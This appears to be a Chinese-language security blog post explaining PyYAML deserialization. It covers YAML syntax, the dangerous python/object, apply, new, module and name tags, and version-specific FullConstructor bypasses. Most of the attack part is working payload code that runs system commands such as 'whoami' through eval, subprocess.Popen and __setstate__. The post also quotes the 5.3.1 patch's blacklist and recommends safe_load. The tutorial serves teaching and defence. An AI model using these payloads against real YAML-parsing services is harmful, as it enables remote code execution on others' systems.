PyYaml反序列化

YAML基础

基础语法见附录,借用一个简单的例子快速入门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import yaml

yaml.load('''

string_0:
- macr0phag3
- "I'm Tr0y" # 可以使用双引号或者单引号包裹特殊字符
- "I am fine. \u263A" # 使用双引号包裹时支持 Unicode 编码
- "\\x0d\\x0a is \\r\\n" # 使用双引号包裹时还支持 Hex 编码
- newline
newline2 # 字符串可以拆成多行,每行之间用空格隔开

# > 可以在字符串中折叠换行
string_1: >
newline
newline2

# | 保留换行符
string_2: |
newline
newline2

# | 保留换行符,且去掉最后一个换行符
string_3: |-
newline
newline2

list: &id_1
- 18 # 定义锚点
- cm

two_dimensional_list:
-
- Macr0phag3
- Tr0y

boolean:
- TRUE # true、True、Yes、YES、yes、ON、on、On 都可以
- FALSE # false、False、NO、no、No、off、OFF、Off 都可以

float:
- 3.14
- 6.8523015e+5 # 可以使用科学计数法

int:
- 123
- 0b10100111010010101110 # 支持二进制表示
- 0x0a # 支持十六进制表示

nulls:
- null # NULL 也 ok
- Null
- ~
-

date:
- 2018-02-17 # 日期必须使用 ISO 8601 格式,即 yyyy-MM-dd

datetime:
- 2018-02-17T15:02:31+08:00 # 时间使用 ISO 8601 格式,时间和日期之间使用 T 连接,最后使用 + 代表时区

# > 可以在字符串中折叠换行
object: &id_2
name: Tr0y
money: 0

json: [{1: Macr0phag3, 2: Tr0y}, "???"] # 值支持 json

reference:
size: *id_1
<<: *id_2
''')

img

类型转换

所谓类型转换,就是使用符号!!+tag实现数据类型的强制转换,比如将数字强制转换成字符串

1
2
3
a: !!str 123
#等价于
a: "123"

基于这种特性,PyYAML可以实现拓展解析的能力,选择合适的解析器对数据进行解析处理,可以是简单的数据类型,也可以是模块、实例。doc中列举除了一些基础tag和特殊tag:

  • 基础类型转换

site-packages/yaml/constructor.py中有24处调用add_constructor()的地方,也就是说PyYAML中支持24中基础的类型转换,也就是上图中的Standard YAML tagPython-specific tags部分,对于基础的类型转换可以简单抽象成以下过程:

!!module_name args <=> find_function(“module_name”)(args)

  • 高级类型转换

除了add_constructor()之外,还有add_multi_constructor()的调用,也就是对应上图中的Complex Python tags

tag expression
!!python/name:module.name module.name
!!python/module:package.module package.module
!!python/object:module.cls module.cls instance
!!python/object/new:module.cls module.cls instance
!!python/object/apply:module.f value of f(...)

很明显这五种tag都可以引入新的模块,导致PyYAML存在被反序列化攻击的可能。

下面逐一介绍高级类型转换中的五个标签。

危险标签

python/object/apply

对应construct_python_object_apply,它可以引入模块中的方法并执行,可以传入参数并且以列表的方式提供:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#以下几种写法等价
yaml.load('exp: !!python/object/apply:os.system ["whoami"]')
yaml.load("exp: !!python/object/apply:os.system [whoami]") #引号可省略
yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")
yaml.load("""
exp: !!python/object/apply:os.system
args: ["whoami"]
""")
yaml.load("""
exp: !!python/object/apply:os.system
kwds: {"command": "whoami"}
""")
yaml.load("!!python/object/apply:os.system [whoami]: exp")
yaml.load("!!python/object/apply:os.system [whoami]")
yaml.load("""
!!python/object/apply:os.system
- whoami
""")

python/object/new

python/object/apply基本等价,对应函数construct_python_object_new,payload也相同。

python/object

对应函数construct_python_object,可以调用构造函数但无法传参。

1
yaml.load("!!python/object:builtins.copyright")

python/module

对应函数construct_python_module,后续调用find_python_module,也就是import,一般情况下import导入模块不会执行py文件里的代码,除了命名空间__name__ == "__main__"的代码部分。这时候想要利用这个标签RCE,自然会联想到结合任意文件上传,那么这就有点类似于php的文件包含了,不过后缀必须是py。举个例子存在如下flask项目:

├── app.py
├── static
├── templates
│ └── index.html
└── uploads
├── exp.py
└── info.py

app.py中包含如下利用代码:

1
yaml.load("!!python/module:uploads.exp")

exp.py为恶意模块

1
2
import os
os.system("id")

然后执行app.py就可以实现rce。

1
2
python3 app.py
#uid=1000(spring) gid=0(root) groups=0(root)

或者可以上传__init__.py至uploads文件夹,不需要指定包名就可以直接触发:

1
yaml.load("!!python/module:uploads")

python/name

对应函数是construct_python_name,后续调用find_python_name,他返回模块下面的属性或方法。它可以用于以下特殊场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import yaml

TOKEN = "Y0u_Nev3r_kn0w."
def check(config):
try:
token = yaml.load(config).get("token", None)
except Exception:
token = None

if token == TOKEN:
print("yes, master.")
else:
print("fuck off!")

config = '' # 可控输入点
check(config)

这时将payload设置为token=!!python/name:__main__.TOKEN,就可以绕过对于token的check,前提是需要知道变量名token,当然这种情况下直接RCE也是可以的。

攻击思路

PyYAML < 5.1

默认构造器:Constructor

不支持标签:无,全部支持。

版本小于5.1提供两个方法解析YAML:

  • yaml.load:加载单个YAML文件
  • yaml.load_all:加载多个YAML文件

两者都可以指定构造器Loader,此版本下构造器有三种:

  • BaseConstructor:基础构造器,不支持类型转换。
  • SafeConstructor:集成BaseConstructor,同时类型转换和YAML规范一致,不支持complex python tags
  • Constructor:在YAML规范基础上新增complex python tags

支持complex python tags的Constructor构造器是最危险的构造器,同时它也是在此版本下默认使用的

此版本下五种标签看情况选择即可。

PyYAML = 5.1

默认构造器:FullConstructor

不支持标签:无,全部支持。

此版本下的构造器有:

  • BaseConstructor:没有任何强制类型转换
  • SafeConstructor:只有基础类型的强制类型转换
  • FullConstructor:除了 python/object/apply 之外都支持,但是加载的模块必须位于 sys.modules 中(说明已经主动 import 过了才让加载)。这个是默认的构造器。
  • UnsafeConstructor:支持全部的强制类型转换
  • Constructor:等同于 UnsafeConstructor

同时,新增了几个加载方法:

  • yaml.full_load
  • yaml.full_load_all
  • yaml.unsafe_load
  • yaml.unsafe_load_all

不使用FullConstructor

这种情况下和版本小于5.1的利用方式相同,但构造器必须是UnsafeConstructorConstructor

1
2
yaml.unsafe_load(exp)
yaml.load(exp, Loader=UnsafeLoader)

突破FullConstructor

goal:触发带参数调用+引入函数

FullConstructor只允许加载sys.modules中的模块,也就是import过的,总结来说利用过程中需要解决如下限制:

  1. 只引用,不执行的限制:
    • 加载进来的 module 必须是位于 sys.modules
  2. 引用并执行:
    • 加载进来的 module 必须是位于 sys.modules
    • FullConstructor 下,unsafe = False,加载进来的 module.name 必须是一个类

两个不行的例子:

  1. !!python/name:pickle.loadspickle 不在 sys.modules
  2. !!python/object/new:builtins.eval ["print(1)"]eval 虽然在 sys.modules 中,但是 type(builtins.eval)builtin_function_or_method 而不是一个类。

subprocess.Popen()

满足位于sys.modules,同时可以执行命令的类就是subprocess.Popen,因此使用apply标签的payload就是:

1
2
3
4
yaml.load("""
!!python/object/apply:subprocess.Popen
- whoami
""")

map()

不使用apply标签,在builtins内置模块中还有mapfilter等可以触发函数执行。类可以通过python/object/new引入,而函数可以通过python/name引入,最后的payload就是:

1
2
3
4
5
6
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")

listitems.extend()

使用FullConstructor加载YAML的同时,会调用construct_python_object_apply,而它不仅进行了实例化,如果有listitems还会调用实例中的extend属性指定的方法,比如:

1
2
exp = type("exp", (), {"extend": eval})
exp.extend("__import__('os').system('whoami')")

因此转换成YAML就是:

1
2
3
4
5
6
7
8
yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")

__setstate__(state)

除了extendconstruct_python_object_apply还会调用setstate,对于这个利用方式picke反序列化中已经提到:

1
2
exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")

转换成YAML:

1
2
3
4
5
6
7
8
yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"__setstate__": !!python/name:eval }
state: "__import__('os').system('whoami')"
""")

slotstate.update()

type可以用 staticmethod 来替换,set_python_instance_state 中存在调用:slotstate.update(),只需要将slotstate.update 赋值为 evalstate赋值为payload即可:

1
2
3
4
5
6
7
8
exp = staticmethod([0])
exp.__dict__.update(
{"update": eval, "items": list}
)
exp_raise = str()
# 由于 str 没有 __dict__ 方法,所以在 PyYAML 解析时会触发下面调用

exp.update("__import__('os').system('whoami')")

转换成YAML就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
yaml.full_load("""
!!python/object/new:str
args: []
# 通过 state 触发调用
state: !!python/tuple
- "__import__('os').system('whoami')"
# 下面构造 exp
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list # 不设置这个也可以,会报错但也已经执行成功
""")

PyYAML = 5.2

默认构造器:FullConstructor

不支持标签:python/object/apply

PyYAML = 5.3.1

默认构造器:FullConstructor

不支持标签:python/object/apply

此版本打了个补丁,禁止在使用set_python_instance_state方法时设置任意属性,设置黑名单过滤了extend以及__xxx__方法,详见issue

​ This patch tries to block such attacks in FullLoader by preventing set_python_instance_state from setting arbitrary properties. It implements a blacklist that includes extend method (called by construct_python_object_apply) and all special methods (e.g. __set__,__setitem__, etc.).

FROM lib/yaml/constructor.py

blacklist_regex = ['^extend$', '^__.*__$']

PyYAML = 5.4

默认构造器:FullConstructor

不支持标签:python/object/apply、python/object、python/object/new、python/module

仅支持:python/name

PyYAML = 6.0

默认构造器:无默认构造器,使用yaml.load()时必须指定参数Loader。

不支持标签:python/object/apply、python/object、python/object/new、python/module

仅支持:python/name

防御

使用yaml.safe_load()即可。

附录

YAML语法

基本语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • ‘#’表示注释

数据类型

注意 :?-后面都需要跟一个空格。

  • 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #一般对象,包含属性,以键值对表示
    obj:
    key1: value
    key2: value2
    #复杂对象,键名可以是一个数组,值也是数组
    ?
    - complexkey1
    - complexkey2
    :
    - complexvalue1
    - complexvalue2
    # [complexkey1,complexkey2] => [complexvalue1,complexvalue2]
  • 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #以 - 开头表示是一个数组
    - A
    - B
    - C
    #对象数组
    companies:
    -
    id: 1
    name: company1
    price: 200W
    -
    id: 2
    name: company2
    price: 500W
    #companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}]
    #复合结构,对象包含多类型属性
  • 纯量(scalars):单个的、不可再分的值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    boolean: 
    - TRUE #true,True都可以
    - FALSE #false,False都可以
    float:
    - 3.14
    - 6.8523015e+5 #可以使用科学计数法
    int:
    - 123
    - 0b1010_0111_0100_1010_1110 #二进制表示
    null:
    nodeName: 'node'
    parent: ~ #使用~表示null
    string:
    - 哈哈
    - 'Hello world' #可以使用双引号或者单引号包裹特殊字符
    - newline
    newline2 #字符串可以拆成多行,每一行会被转化成一个空格
    date:
    - 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
    datetime:
    - 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# & 用来建立锚点(defaults),<< 表示合并到当前数据,* 用来引用锚点
defaults: &defaults
adapter: postgres
host: localhost
test:
database: myapp_test
<<: *defaults

#相当于:

defaults:
adapter: postgres
host: localhost
test:
database: myapp_test
adapter: postgres
host: localhost

REF

SecMap - 反序列化(PyYAML) - Tr0y’s Blog

https://boogipop.com/2023/03/02/PyYAML反序列化

https://pyyaml.org/wiki/PyYAMLDocumentation


PyYaml反序列化
http://example.com/2023/05/17/PyYaml反序列化/
Author
springtime
Posted on
May 17, 2023
Licensed under